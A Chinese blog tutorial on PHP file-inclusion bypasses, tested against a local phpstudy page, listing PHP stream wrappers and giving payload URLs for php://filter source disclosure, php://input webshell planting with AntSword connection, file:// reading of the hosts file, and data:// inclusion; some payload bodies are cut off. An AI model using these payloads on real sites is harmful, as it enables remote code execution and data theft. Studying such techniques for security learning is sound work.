文件包含绕过的小点总结(2)

我们在phpstudy的网站根目录上传了upload.php,详细可见上一篇总结。

文件包含漏洞的小点总结-CSDN博客

常见的PHP支持的伪协议:

file://  访问本地文件系统
http://  访问HTTP(S)网址
ftp://   访问FTP(s)URL(s)
php://   访问各个输入输出流
zlib://  压缩流
data://  数据(RFC  2397)
glob://  查找匹配的文件路径模式
phar://  PHP归档
ssh2://  secure shell 2
rar://   RAR
ogg://   音频流
expect://  处理交互式的流

①http://,https:// 用于远程包含,只读方式访问文件或资源

②filter

例如访问:http://localhost/upload.php?filename=php://filter/read=convert.base64-encode/resource=upload.php

显示:
PD9waHANCiRmaWxlbmFtZT0kX0dFVFsnZmlsZW5hbWUnXTsNCmluY2x1ZGUoJGZpbGVuYW1lKTsNCj8+

解码即可得到php内容

③input

例如访问http://localhost/upload.php?filename=php://input

在post body中写或者写入 或者写入等系统执行命令。

或者写入一句话木马')?>

发送POST请求后上传成功,使用蚁剑进行连接:

url:http://localhost/shell.php

密码:cmd

④file 用于访问本地文件系统,file://需要的是完整的路径

访问hosts文件:

http://localhost/upload.php?filename=file:///C:\Windows\System32\drivers\etc\hosts

⑤data

访问:http://localhost/upload.php?filename=data://text/plain,

有时需要将php代码进行base64编码,那么就要写为:

http://localhost/include/upload.php?filename=data://text/plain;base64,..........(后面写php代码的编码内容)

你可能感兴趣的:(安全,web安全,PHP,服务器)